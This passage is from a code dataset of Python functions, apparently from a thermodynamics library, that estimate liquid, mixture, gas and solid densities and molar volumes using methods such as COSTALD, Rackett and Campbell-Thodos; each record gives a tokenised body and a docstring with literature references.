API Handbook\n\n    >>> Vm_to_rho(COSTALD(272.03889, 369.83333, 0.20008161E-3, 0.1532), 44.097)\n    530.3009967969841\n\n\n    References\n    ----------\n    .. [1] Hankinson, Risdon W., and George H. Thomson. \"A New Correlation for\n       Saturated Densities of Liquids and Their Mixtures.\" AIChE Journal\n       25, no. 4 (1979): 653-663. doi:10.1002/aic.690250412", "id": "f15779:m5"}
{"signature": "def Campbell_Thodos(T, Tb, Tc, Pc, M, dipole=None, hydroxyl=False):", "body": "Tr = T/Tc<EOL>Tbr = Tb/Tc<EOL>Pc = Pc/<NUM_LIT><EOL>s = Tbr * log(Pc)/(<NUM_LIT:1>-Tbr)<EOL>Lambda = Pc**(<NUM_LIT:1>/<NUM_LIT>)/(M**<NUM_LIT:0.5>*Tc**(<NUM_LIT:5>/<NUM_LIT>))<EOL>alpha = <NUM_LIT> - <NUM_LIT>*s<EOL>beta = <NUM_LIT>*s - <NUM_LIT> + <NUM_LIT>*Lambda**(<NUM_LIT>)<EOL>if dipole:<EOL><INDENT>theta = Pc*dipole**<NUM_LIT:2>/Tc**<NUM_LIT:2><EOL>alpha -= <NUM_LIT> * theta**<NUM_LIT><EOL>beta += <NUM_LIT> * theta**<NUM_LIT><EOL><DEDENT>if hydroxyl:<EOL><INDENT>beta = <NUM_LIT>*s - <NUM_LIT> + <NUM_LIT>*Lambda**(<NUM_LIT>) + <NUM_LIT>*theta**<NUM_LIT><EOL>alpha = (<NUM_LIT>*Tbr - <NUM_LIT> + <NUM_LIT>/Tbr**<NUM_LIT>)*Pc**<NUM_LIT><EOL><DEDENT>Zra = alpha + beta*(<NUM_LIT:1>-Tr)<EOL>Vs = R*Tc/(Pc*<NUM_LIT>)*Zra**(<NUM_LIT:1>+(<NUM_LIT:1>-Tr)**(<NUM_LIT:2>/<NUM_LIT>))<EOL>return Vs<EOL>", "docstring": "r'''Calculate saturation liquid density using the Campbell-Thodos [1]_\n    CSP method.\n\n    An old and uncommon estimation method.\n\n    .. math::\n        V_s = \\frac{RT_c}{P_c}{Z_{RA}}^{[1+(1-T_r)^{2/7}]}\n\n        Z_{RA} = \\alpha + \\beta(1-T_r)\n\n        \\alpha = 0.3883-0.0179s\n\n        s = T_{br} \\frac{\\ln P_c}{(1-T_{br})}\n\n        \\beta = 0.00318s-0.0211+0.625\\Lambda^{1.35}\n\n        \\Lambda = \\frac{P_c^{1/3}} { M^{1/2} T_c^{5/6}}\n\n    For polar compounds:\n\n    .. math::\n        \\theta = P_c \\mu^2/T_c^2\n\n        \\alpha = 0.3883 - 0.0179s - 130540\\theta^{2.41}\n\n        \\beta = 0.00318s - 0.0211 + 0.625\\Lambda^{1.35} + 9.74\\times\n        10^6 \\theta^{3.38}\n\n    Polar Combounds with hydroxyl groups (water, alcohols)\n\n    .. math::\n        \\alpha = \\left[0.690T_{br} -0.3342 + \\frac{5.79\\times 10^{-10}}\n        {T_{br}^{32.75}}\\right] P_c^{0.145}\n\n        \\beta = 0.00318s - 0.0211 + 0.625 \\Lambda^{1.35} + 5.90\\Theta^{0.835}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    M : float\n        Molecular weight of the fluid [g/mol]\n    dipole : float, optional\n        Dipole moment of the fluid [debye]\n    hydroxyl : bool, optional\n        Swith to use the hydroxyl variant for polar fluids\n\n    Returns\n    -------\n    Vs : float\n        Saturation liquid volume\n\n    Notes\n    -----\n    If a dipole is provided, the polar chemical method is used.\n    The paper is an excellent read.\n    Pc is internally converted to atm.\n\n    Examples\n    --------\n    Ammonia, from [1]_.\n\n    >>> Campbell_Thodos(T=405.45, Tb=239.82, Tc=405.45, Pc=111.7*101325, M=17.03, dipole=1.47)\n    7.347363635885525e-05\n\n    References\n    ----------\n    .. [1] Campbell, Scott W., and George Thodos. \"Prediction of Saturated\n       Liquid Densities and Critical Volumes for Polar and Nonpolar\n       Substances.\" Journal of Chemical & Engineering Data 30, no. 1\n       (January 1, 1985): 102-11. doi:10.1021/je00039a032.", "id": "f15779:m6"}
{"signature": "def SNM0(T, Tc, Vc, omega, delta_SRK=None):", "body": "Tr = T/Tc<EOL>m = <NUM_LIT> + <NUM_LIT>*omega - <NUM_LIT>*omega*omega<EOL>alpha_SRK = (<NUM_LIT:1.> + m*(<NUM_LIT:1.> - Tr**<NUM_LIT:0.5>))**<NUM_LIT:2><EOL>tau = <NUM_LIT:1.> - Tr/alpha_SRK<EOL>rho0 = <NUM_LIT:1.> + <NUM_LIT>*tau**(<NUM_LIT:1>/<NUM_LIT>) + <NUM_LIT>*tau**(<NUM_LIT:2>/<NUM_LIT>) - <NUM_LIT>*tau + <NUM_LIT>*tau**(<NUM_LIT:4>/<NUM_LIT>)<EOL>V0 = <NUM_LIT:1.>/rho0<EOL>if not delta_SRK:<EOL><INDENT>return Vc*V0<EOL><DEDENT>else:<EOL><INDENT>return Vc*V0/(<NUM_LIT:1.> + delta_SRK*(alpha_SRK - <NUM_LIT:1.>)**(<NUM_LIT:1>/<NUM_LIT>))<EOL><DEDENT>", "docstring": "r'''Calculates saturated liquid density using the Mchaweh, Moshfeghian\n    model [1]_. Designed for simple calculations.\n\n    .. math::\n        V_s = V_c/(1+1.169\\tau^{1/3}+1.818\\tau^{2/3}-2.658\\tau+2.161\\tau^{4/3}\n\n        \\tau = 1-\\frac{(T/T_c)}{\\alpha_{SRK}}\n\n        \\alpha_{SRK} = [1 + m(1-\\sqrt{T/T_C}]^2\n\n        m = 0.480+1.574\\omega-0.176\\omega^2\n\n    If the fit parameter `delta_SRK` is provided, the following is used:\n\n    .. math::\n        V_s = V_C/(1+1.169\\tau^{1/3}+1.818\\tau^{2/3}-2.658\\tau+2.161\\tau^{4/3})\n        /\\left[1+\\delta_{SRK}(\\alpha_{SRK}-1)^{1/3}\\right]\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Vc : float\n        Critical volume of fluid [m^3/mol]\n    omega : float\n        Acentric factor for fluid, [-]\n    delta_SRK : float, optional\n        Fitting parameter [-]\n\n    Returns\n    -------\n    Vs : float\n        Saturation liquid volume, [m^3/mol]\n\n    Notes\n    -----\n    73 fit parameters have been gathered from the article.\n\n    Examples\n    --------\n    Argon, without the fit parameter and with it. Tabulated result in Perry's\n    is 3.4613e-05. The fit increases the error on this occasion.\n\n    >>> SNM0(121, 150.8, 7.49e-05, -0.004)\n    3.4402256402733416e-05\n    >>> SNM0(121, 150.8, 7.49e-05, -0.004, -0.03259620)\n    3.493288100008123e-05\n\n    References\n    ----------\n    .. [1] Mchaweh, A., A. Alsaygh, Kh. Nasrifar, and M. Moshfeghian.\n       \"A Simplified Method for Calculating Saturated Liquid Densities.\"\n       Fluid Phase Equilibria 224, no. 2 (October 1, 2004): 157-67.\n       doi:10.1016/j.fluid.2004.06.054", "id": "f15779:m7"}
{"signature": "def CRC_inorganic(T, rho0, k, Tm):", "body": "return rho0 - k*(T-Tm)<EOL>", "docstring": "r'''Calculates liquid density of a molten element or salt at temperature\n    above the melting point. Some coefficients are given nearly up to the\n    boiling point.\n\n    The mass density of the inorganic liquid is given by:\n\n    .. math::\n        \\rho = \\rho_{0} - k(T-T_m)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the liquid, [K]\n    rho0 : float\n        Mass density of the liquid at Tm, [kg/m^3]\n    k : float\n        Linear temperature dependence of the mass density, [kg/m^3/K]\n    Tm : float\n        The normal melting point, used in the correlation [K]\n\n    Returns\n    -------\n    rho : float\n        Mass density of molten metal or salt, [kg/m^3]\n\n    Notes\n    -----\n    [1]_ has units of g/mL. While the individual densities could have been\n    converted to molar units, the temperature coefficient could only be\n    converted by refitting to calculated data. To maintain compatibility with\n    the form of the equations, this was not performed.\n\n    This linear form is useful only in small temperature ranges.\n    Coefficients for one compound could be used to predict the temperature\n    dependence of density of a similar compound.\n\n\n    Examples\n    --------\n    >>> CRC_inorganic(300, 2370.0, 2.687, 239.08)\n    2206.30796\n\n    References\n    ----------\n    .. [1] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n        Chemistry and Physics, 95E. [Boca Raton, FL]: CRC press, 2014.", "id": "f15779:m8"}
{"signature": "def COSTALD_compressed(T, P, Psat, Tc, Pc, omega, Vs):", "body": "a = -<NUM_LIT><EOL>b = <NUM_LIT><EOL>d = -<NUM_LIT><EOL>f = <NUM_LIT><EOL>g = <NUM_LIT><EOL>h = <NUM_LIT><EOL>j = <NUM_LIT><EOL>k = <NUM_LIT><EOL>tau = <NUM_LIT:1> - T/Tc<EOL>e = exp(f + g*omega + h*omega**<NUM_LIT:2>)<EOL>C = j + k*omega<EOL>B = Pc*(-<NUM_LIT:1> + a*tau**(<NUM_LIT:1>/<NUM_LIT>) + b*tau**(<NUM_LIT:2>/<NUM_LIT>) + d*tau + e*tau**(<NUM_LIT:4>/<NUM_LIT>))<EOL>return Vs*(<NUM_LIT:1> - C*log((B + P)/(B + Psat)))<EOL>", "docstring": "r'''Calculates compressed-liquid volume, using the COSTALD [1]_ CSP\n    method and a chemical's critical properties.\n\n    The molar volume of a liquid is given by:\n\n    .. math::\n        V = V_s\\left( 1 - C \\ln \\frac{B + P}{B + P^{sat}}\\right)\n\n        \\frac{B}{P_c} = -1 + a\\tau^{1/3} + b\\tau^{2/3} + d\\tau + e\\tau^{4/3}\n\n        e = \\exp(f + g\\omega_{SRK} + h \\omega_{SRK}^2)\n\n        C = j + k \\omega_{SRK}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    P : float\n        Pressure of fluid [Pa]\n    Psat : float\n        Saturation pressure of the fluid [Pa]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        (ideally SRK) Acentric factor for fluid, [-]\n        This parameter is alternatively a fit parameter.\n    Vs : float\n        Saturation liquid volume, [m^3/mol]\n\n    Returns\n    -------\n    V_dense : float\n        High-pressure liquid volume, [m^3/mol]\n\n    Notes\n    -----\n    Original equation was in terms of density, but it is converted here.\n\n    The example is from DIPPR, and exactly correct.\n    This is DIPPR Procedure 4C: Method for Estimating the Density of Pure\n    Organic Liquids under Pressure.\n\n    Examples\n    --------\n    >>> COSTALD_compressed(303., 9.8E7, 85857.9, 466.7, 3640000.0, 0.281, 0.000105047)\n    9.287482879788506e-05\n\n    References\n    ----------\n    .. [1]  Thomson, G. H., K. R. Brobst, and R. W. Hankinson. \"An Improved\n       Correlation for Densities of Compressed Liquids and Liquid Mixtures.\"\n       AIChE Journal 28, no. 4 (July 1, 1982): 671-76. doi:10.1002/aic.690280420", "id": "f15779:m9"}
{"signature": "def Amgat(xs, Vms):", "body": "if not none_and_length_check([xs, Vms]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return mixing_simple(xs, Vms)<EOL>", "docstring": "r'''Calculate mixture liquid density using the Amgat mixing rule.\n    Highly inacurate, but easy to use. Assumes idea liquids with\n    no excess volume. Average molecular weight should be used with it to obtain\n    density.\n\n    .. math::\n        V_{mix} = \\sum_i x_i V_i\n\n    or in terms of density:\n\n    .. math::\n\n        \\rho_{mix} = \\sum\\frac{x_i}{\\rho_i}\n\n    Parameters\n    ----------\n    xs : array\n        Mole fractions of each component, []\n    Vms : array\n        Molar volumes of each fluids at conditions [m^3/mol]\n\n    Returns\n    -------\n    Vm : float\n        Mixture liquid volume [m^3/mol]\n\n    Notes\n    -----\n    Units are that of the given volumes.\n    It has been suggested to use this equation with weight fractions,\n    but the results have been less accurate.\n\n    Examples\n    --------\n    >>> Amgat([0.5, 0.5], [4.057e-05, 5.861e-05])\n    4.9590000000000005e-05", "id": "f15779:m10"}
{"signature": "def Rackett_mixture(T, xs, MWs, Tcs, Pcs, Zrs):", "body": "if not none_and_length_check([xs, MWs, Tcs, Pcs, Zrs]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>Tc = mixing_simple(xs, Tcs)<EOL>Zr = mixing_simple(xs, Zrs)<EOL>MW = mixing_simple(xs, MWs)<EOL>Tr = T/Tc<EOL>bigsum = sum(xs[i]*Tcs[i]/Pcs[i]/MWs[i] for i in range(len(xs)))<EOL>return (R*bigsum*Zr**(<NUM_LIT:1.> + (<NUM_LIT:1.> - Tr)**(<NUM_LIT:2>/<NUM_LIT>)))*MW<EOL>", "docstring": "r'''Calculate mixture liquid density using the Rackett-derived mixing rule\n    as shown in [2]_.\n\n    .. math::\n        V_m = \\sum_i\\frac{x_i T_{ci}}{MW_i P_{ci}} Z_{R,m}^{(1 + (1 - T_r)^{2/7})} R \\sum_i x_i MW_i\n\n    Parameters\n    ----------\n    T : float\n        Temperature of liquid [K]\n    xs: list\n        Mole fractions of each component, []\n    MWs : list\n        Molecular weights of each component [g/mol]\n    Tcs : list\n        Critical temperatures of each component [K]\n    Pcs : list\n        Critical pressures of each component [Pa]\n    Zrs : list\n        Rackett parameters of each component []\n\n    Returns\n    -------\n    Vm : float\n        Mixture liquid volume [m^3/mol]\n\n    Notes\n    -----\n    Model for pure compounds in [1]_ forms the basis for this model, shown in\n    [2]_. Molecular weights are used as weighing by such has been found to\n    provide higher accuracy in [2]_. The model can also be used without\n    molecular weights, but results are somewhat different.\n\n    As with the Rackett model, critical compressibilities may be used if\n    Rackett parameters have not been regressed.\n\n    Critical mixture temperature, and compressibility are all obtained with\n    simple mixing rules.\n\n    Examples\n    --------\n    Calculation in [2]_ for methanol and water mixture. Result matches example.\n\n    >>> Rackett_mixture(T=298., xs=[0.4576, 0.5424], MWs=[32.04, 18.01], Tcs=[512.58, 647.29], Pcs=[8.096E6, 2.209E7], Zrs=[0.2332, 0.2374])\n    2.625288603174508e-05\n\n    References\n    ----------\n    .. [1] Rackett, Harold G. \"Equation of State for Saturated Liquids.\"\n       Journal of Chemical & Engineering Data 15, no. 4 (1970): 514-517.\n       doi:10.1021/je60047a012\n    .. [2] Danner, Ronald P, and Design Institute for Physical Property Data.\n       Manual for Predicting Chemical Process Design Data. New York, N.Y, 1982.", "id": "f15779:m11"}
{"signature": "def COSTALD_mixture(xs, T, Tcs, Vcs, omegas):", "body": "cmps = range(len(xs))<EOL>if not none_and_length_check([xs, Tcs, Vcs, omegas]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>sum1 = sum([xi*Vci for xi, Vci in zip(xs, Vcs)])<EOL>sum2 = sum([xi*Vci**(<NUM_LIT:2>/<NUM_LIT>) for xi, Vci in zip(xs, Vcs)])<EOL>sum3 = sum([xi*Vci**(<NUM_LIT:1>/<NUM_LIT>) for xi, Vci in zip(xs, Vcs)])<EOL>Vm = <NUM_LIT>*(sum1 + <NUM_LIT>*sum2*sum3)<EOL>VijTcij = [[(Tcs[i]*Tcs[j]*Vcs[i]*Vcs[j])**<NUM_LIT:0.5> for j in cmps] for i in cmps]<EOL>omega = mixing_simple(xs, omegas)<EOL>Tcm = sum([xs[i]*xs[j]*VijTcij[i][j]/Vm for j in cmps for i in cmps])<EOL>return COSTALD(T, Tcm, Vm, omega)<EOL>", "docstring": "r'''Calculate mixture liquid density using the COSTALD CSP method.\n\n    A popular and accurate estimation method. If possible, fit parameters are\n    used; alternatively critical properties work well.\n\n    The mixing rules giving parameters for the pure component COSTALD\n    equation are:\n\n    .. math::\n        T_{cm} = \\frac{\\sum_i\\sum_j x_i x_j (V_{ij}T_{cij})}{V_m}\n\n        V_m = 0.25\\left[ \\sum x_i V_i + 3(\\sum x_i V_i^{2/3})(\\sum_i x_i V_i^{1/3})\\right]\n\n        V_{ij}T_{cij} = (V_iT_{ci}V_{j}T_{cj})^{0.5}\n\n        \\omega = \\sum_i z_i \\omega_i\n\n    Parameters\n    ----------\n    xs: list\n        Mole fractions of each component\n    T : float\n        Temperature of fluid [K]\n    Tcs : list\n        Critical temperature of fluids [K]\n    Vcs : list\n        Critical volumes of fluids [m^3/mol].\n        This parameter is alternatively a fit parameter\n    omegas : list\n        (ideally SRK) Acentric factor of all fluids, [-]\n        This parameter is alternatively a fit parameter.\n\n    Returns\n    -------\n    Vs : float\n        Saturation liquid mixture volume\n\n    Notes\n    -----\n    Range: 0.25 < Tr < 0.95, often said to be to 1.0\n    No example has been found.\n    Units are that of critical or fit constant volume.\n\n    Examples\n    --------\n    >>> COSTALD_mixture([0.4576, 0.5424], 298.,  [512.58, 647.29],[0.000117, 5.6e-05], [0.559,0.344] )\n    2.706588773271354e-05\n\n    References\n    ----------\n    .. [1] Hankinson, Risdon W., and George H. Thomson. \"A New Correlation for\n       Saturated Densities of Liquids and Their Mixtures.\" AIChE Journal\n       25, no. 4 (1979): 653-663. doi:10.1002/aic.690250412", "id": "f15779:m12"}
{"signature": "def ideal_gas(T, P):", "body": "return R*T/P<EOL>", "docstring": "r'''Calculates ideal gas molar volume.\n    The molar volume of an ideal gas is given by:\n\n    .. math::\n        V = \\frac{RT}{P}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    P : float\n        Pressure of fluid [Pa]\n\n    Returns\n    -------\n    V : float\n        Gas volume, [m^3/mol]\n\n    Examples\n    --------\n    >>> ideal_gas(298.15, 101325.)\n    0.02446539540458919", "id": "f15779:m13"}
{"signature": "def Goodman(T, Tt, rhol):", "body": "rhos = (<NUM_LIT> - <NUM_LIT>*(T/Tt))*(rhol)<EOL>return rhos<EOL>", "docstring": "r'''Calculates solid density at T using the simple relationship\n    by a member of the DIPPR.\n\n    The molar volume of a solid is given by:\n\n    .. math::\n        \\frac{1}{V_m} = \\left( 1.28 - 0.16 \\frac{T}{T_t}\\right)\n        \\frac{1}{{Vm}_L(T_t)}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tt : float\n        Triple temperature of fluid [K]\n    rhol : float\n        Liquid density, [m^3/mol]\n\n    Returns\n    -------\n    rhos : float\n        Solid volume, [m^3/mol]\n\n    Notes\n    -----\n    Works to the next solid transition temperature or to approximately 0.3Tt.\n\n    Examples\n    --------\n    >>> Goodman(281.46, 353.43, 7.6326)\n    8.797191839062899\n\n    References\n    ----------\n    .. [1] Goodman, Benjamin T., W. Vincent Wilding, John L. Oscarson, and\n       Richard L. Rowley. \"A Note on the Relationship between Organic Solid\n       Density and Liquid Density at the Triple Point.\" Journal of Chemical &\n       Engineering Data 49, no. 6 (2004): 1512-14. doi:10.1021/je034220e.", "id": "f15779:m14"}
{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>methods_P = []<EOL>Tmins, Tmaxs = [], []<EOL>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods.append(COOLPROP); methods_P.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL>Tmins.append(self.CP_f.Tt); Tmaxs.append(self.CP_f.Tc)<EOL><DEDENT>if self.CASRN in CRC_inorg_l_data.index:<EOL><INDENT>methods.append(CRC_INORG_L)<EOL>_, self.CRC_INORG_L_MW, self.CRC_INORG_L_rho, self.CRC_INORG_L_k, self.CRC_INORG_L_Tm, self.CRC_INORG_L_Tmax = _CRC_inorg_l_data_values[CRC_inorg_l_data.index.get_loc(self.CASRN)].tolist()<EOL>Tmins.append(self.CRC_INORG_L_Tm); Tmaxs.append(self.CRC_INORG_L_Tmax)<EOL><DEDENT>if self.CASRN in Perry_l_data.index:<EOL><INDENT>methods.append(PERRYDIPPR)<EOL>_, C1, C2, C3, C4, self.DIPPR_Tmin, self.DIPPR_Tmax = _Perry_l_data_values[Perry_l_data.index.get_loc(self.CASRN)].tolist()<EOL>self.DIPPR_coeffs = [C1, C2, C3, C4]<EOL>Tmins.append(self.DIPPR_Tmin); Tmaxs.append(self.DIPPR_Tmax)<EOL><DEDENT>if self.CASRN in VDI_PPDS_2.index:<EOL><INDENT>methods.append(VDI_PPDS)<EOL>_, MW, Tc, rhoc, A, B, C, D = _VDI_PPDS_2_values[VDI_PPDS_2.index.get_loc(self.CASRN)].tolist()<EOL>self.VDI_PPDS_coeffs = [A, B, C, D]<EOL>self.VDI_PPDS_MW = MW<EOL>self.VDI_PPDS_Tc = Tc<EOL>self.VDI_PPDS_rhoc = rhoc<EOL>Tmaxs.append(self.VDI_PPDS_Tc)<EOL><DEDENT>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if self.Tc and self.CASRN in COSTALD_data.index:<EOL><INDENT>methods.append(HTCOSTALDFIT)<EOL>self.COSTALD_Vchar = float(COSTALD_data.at[self.CASRN, '<STR_LIT>'])<EOL>self.COSTALD_omega_SRK = float(COSTALD_data.at[self.CASRN, '<STR_LIT>'])<EOL>Tmins.append(<NUM_LIT:0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if self.Tc and self.Pc and self.CASRN in COSTALD_data.index and not np.isnan(COSTALD_data.at[self.CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(RACKETTFIT)<EOL>self.RACKETT_Z_RA = float(COSTALD_data.at[self.CASRN, '<STR_LIT>'])<EOL>Tmins.append(<NUM_LIT:0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if self.CASRN in CRC_inorg_l_const_data.index:<EOL><INDENT>methods.append(CRC_INORG_L_CONST)<EOL>self.CRC_INORG_L_CONST_Vm = float(CRC_inorg_l_const_data.at[self.CASRN, '<STR_LIT>'])<EOL><DEDENT>if all((self.Tc, self.Vc, self.Zc)):<EOL><INDENT>methods.append(YEN_WOODS_SAT)<EOL>Tmins.append(<NUM_LIT:0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if all((self.Tc, self.Pc, self.Zc)):<EOL><INDENT>methods.append(RACKETT)<EOL>Tmins.append(<NUM_LIT:0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if all((self.Tc, self.Pc, self.omega)):<EOL><INDENT>methods.append(YAMADA_GUNN)<EOL>methods.append(BHIRUD_NORMAL)<EOL>Tmins.append(<NUM_LIT:0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if all((self.Tc, self.Vc, self.omega)):<EOL><INDENT>methods.append(TOWNSEND_HALES)<EOL>methods.append(HTCOSTALD)<EOL>methods.append(MMSNM0)<EOL>if self.CASRN in SNM0_data.index:<EOL><INDENT>methods.append(MMSNM0FIT)<EOL>self.SNM0_delta_SRK = float(SNM0_data.at[self.CASRN, '<STR_LIT>'])<EOL><DEDENT>Tmins.append(<NUM_LIT:0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if all((self.Tc, self.Vc, self.omega, self.Tb, self.MW)):<EOL><INDENT>methods.append(CAMPBELL_THODOS)<EOL>Tmins.append(<NUM_LIT:0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if all((self.Tc, self.Pc, self.omega)):<EOL><INDENT>methods_P.append(COSTALD_COMPRESSED)<EOL>if self.eos:<EOL><INDENT>methods_P.append(EOS)<EOL><DEDENT><DEDENT>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin, self.Tmax = min(Tmins), max(Tmaxs)<EOL><DEDENT>self.all_methods = set(methods)<EOL>self.all_methods_P = set(methods_P)<EOL>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        :obj:`all_methods` and obj:`all_methods_P` as a set of methods for\n        which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15779:c0:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == RACKETT:<EOL><INDENT>Vm = Rackett(T, self.Tc, self.Pc, self.Zc)<EOL><DEDENT>elif method == YAMADA_GUNN:<EOL><INDENT>Vm = Yamada_Gunn(T, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == BHIRUD_NORMAL:<EOL><INDENT>Vm = Bhirud_normal(T, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == TOWNSEND_HALES:<EOL><INDENT>Vm = Townsend_Hales(T, self.Tc, self.Vc, self.omega)<EOL><DEDENT>elif method == HTCOSTALD:<EOL><INDENT>Vm = COSTALD(T, self.Tc, self.Vc, self.omega)<EOL><DEDENT>elif method == YEN_WOODS_SAT:<EOL><INDENT>Vm = Yen_Woods_saturation(T, self.Tc, self.Vc, self.Zc)<EOL><DEDENT>elif method == MMSNM0:<EOL><INDENT>Vm = SNM0(T, self.Tc, self.Vc, self.omega)<EOL><DEDENT>elif method == MMSNM0FIT:<EOL><INDENT>Vm = SNM0(T, self.Tc, self.Vc, self.omega, self.SNM0_delta_SRK)<EOL><DEDENT>elif method == CAMPBELL_THODOS:<EOL><INDENT>Vm = Campbell_Thodos(T, self.Tb, self.Tc, self.Pc, self.MW, self.dipole)<EOL><DEDENT>elif method == HTCOSTALDFIT:<EOL><INDENT>Vm = COSTALD(T, self.Tc, self.COSTALD_Vchar, self.COSTALD_omega_SRK)<EOL><DEDENT>elif method == RACKETTFIT:<EOL><INDENT>Vm = Rackett(T, self.Tc, self.Pc, self.RACKETT_Z_RA)<EOL><DEDENT>elif method == PERRYDIPPR:<EOL><INDENT>A, B, C, D = self.DIPPR_coeffs<EOL>Vm = <NUM_LIT:1.>/EQ105(T, A, B, C, D)<EOL><DEDENT>elif method == CRC_INORG_L:<EOL><INDENT>rho = CRC_inorganic(T, self.CRC_INORG_L_rho, self.CRC_INORG_L_k, self.CRC_INORG_L_Tm)<EOL>Vm = rho_to_Vm(rho, self.CRC_INORG_L_MW)<EOL><DEDENT>elif method == VDI_PPDS:<EOL><INDENT>A, B, C, D = self.VDI_PPDS_coeffs<EOL>tau = <NUM_LIT:1.> - T/self.VDI_PPDS_Tc<EOL>rho = self.VDI_PPDS_rhoc + A*tau**<NUM_LIT> + B*tau**(<NUM_LIT:2>/<NUM_LIT>) + C*tau + D*tau**(<NUM_LIT:4>/<NUM_LIT>)<EOL>Vm = rho_to_Vm(rho, self.VDI_PPDS_MW)<EOL><DEDENT>elif method == CRC_INORG_L_CONST:<EOL><INDENT>Vm = self.CRC_INORG_L_CONST_Vm<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>Vm = <NUM_LIT:1.>/CoolProp_T_dependent_property(T, self.CASRN, '<STR_LIT>', '<STR_LIT:l>')<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>Vm = self.interpolate(T, method)<EOL><DEDENT>return Vm<EOL>", "docstring": "r'''Method to calculate low-pressure liquid molar volume at tempearture\n        `T` with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate molar volume, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Vm : float\n            Molar volume of the liquid at T and a low pressure, [m^3/mol]", "id": "f15779:c0:m2"}
{"signature": "def calculate_P(self, T, P, method):", "body": "if method == COSTALD_COMPRESSED:<EOL><INDENT>Vm = self.T_dependent_property(T)<EOL>Psat = self.Psat(T) if hasattr(self.Psat, '<STR_LIT>') else self.Psat<EOL>Vm = COSTALD_compressed(T, P, Psat, self.Tc, self.Pc, self.omega, Vm)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>Vm = <NUM_LIT:1.>/PropsSI('<STR_LIT>', '<STR_LIT:T>', T, '<STR_LIT:P>', P, self.CASRN)<EOL><DEDENT>elif method == EOS:<EOL><INDENT>self.eos[<NUM_LIT:0>] = self.eos[<NUM_LIT:0>].to_TP(T=T, P=P)<EOL>Vm = self.eos[<NUM_LIT:0>].V_l<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>Vm = self.interpolate_P(T, P, method)<EOL><DEDENT>return Vm<EOL>", "docstring": "r'''Method to calculate pressure-dependent liquid molar volume at\n        temperature `T` and pressure `P` with a given method.\n\n        This method has no exception handling; see `TP_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate molar volume, [K]\n        P : float\n            Pressure at which to calculate molar volume, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Vm : float\n            Molar volume of the liquid at T and P, [m^3/mol]", "id": "f15779:c0:m3"}
{"signature": "def load_all_methods(self):", "body": "methods = [SIMPLE]        <EOL>if none_and_length_check([self.Tcs, self.Vcs, self.omegas, self.CASs]):<EOL><INDENT>methods.append(COSTALD_MIXTURE)<EOL>if all([i in COSTALD_data.index for i in self.CASs]):<EOL><INDENT>self.COSTALD_Vchars = [COSTALD_data.at[CAS, '<STR_LIT>'] for CAS in self.CASs]<EOL>self.COSTALD_omegas = [COSTALD_data.at[CAS, '<STR_LIT>'] for CAS in self.CASs]<EOL>methods.append(COSTALD_MIXTURE_FIT)<EOL><DEDENT><DEDENT>if none_and_length_check([self.MWs, self.Tcs, self.Pcs, self.Zcs, self.CASs]):<EOL><INDENT>methods.append(RACKETT)<EOL>if all([CAS in COSTALD_data.index for CAS in self.CASs]):<EOL><INDENT>Z_RAs = [COSTALD_data.at[CAS, '<STR_LIT>'] for CAS in self.CASs]<EOL>if not any(np.isnan(Z_RAs)):<EOL><INDENT>self.Z_RAs = Z_RAs<EOL>methods.append(RACKETT_PARAMETERS)<EOL><DEDENT><DEDENT><DEDENT>if len(self.CASs) > <NUM_LIT:1> and '<STR_LIT>' in 